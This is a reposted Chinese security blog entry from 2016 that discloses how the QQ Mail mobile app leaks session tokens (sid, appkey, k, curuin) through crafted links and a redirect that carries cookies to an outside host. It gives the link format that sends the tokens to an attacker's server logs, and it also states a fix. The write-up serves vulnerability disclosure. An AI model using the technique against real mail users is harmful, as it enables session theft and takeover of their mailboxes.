记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

点开我的链接就上了你的QQ mail(非xss)

2016-06-13 02:10

点开链接,我就上了你的QQ mail,获取相关权限, 仅限 app,非XSS。

QQ 邮箱客户端版 对于权限控制需要几个参数 (IOS 测试,安卓没环境)

1、sid

2、appkey

3、k

4、curuin

拥有这四个参数即可通过客户端版的api 对邮箱进行收发操作,读取联系人等。

这个漏洞比较鸡肋需要分为两步

一、获取sid

只要构造 超级链接地址 http://www.javarasp.com/cgi-bin/safejmp?action=check_link& 放在内容,在客户端访问该地址的时候,会自动加上sid 去请求,这样一来 ,可在 www.javarasp.com 这个服务器的日志上得到sid值 。

二、获取appkey、k、curuin

app 客户端对于超级链接地址会自动加上qmail的一个跳转, 如 http://url.qmail.com/cgi-bin/safejmp?action=check_link&url=http://www.javarasp.com&, 次链接请求,属于mail的域内,会带上可信的cookie,有appkey、k、curuin。 当此链接请求响应302跳转,转到www.javarasp.com 时,cookie 并没有消失,而是带上cookie 请求了 www.javarasp.com 这个地址。

结合两个链接信息泄漏,可获取qq mail app 的相关权限。

app 请求抓包截图

11111.png
22222.png
3333.png

解决方案:

跳转的时候控制cookie

知识来源: www.2cto.com/Article/201606/516410.html

阅读:113238 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“点开我的链接就上了你的QQ mail(非xss)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云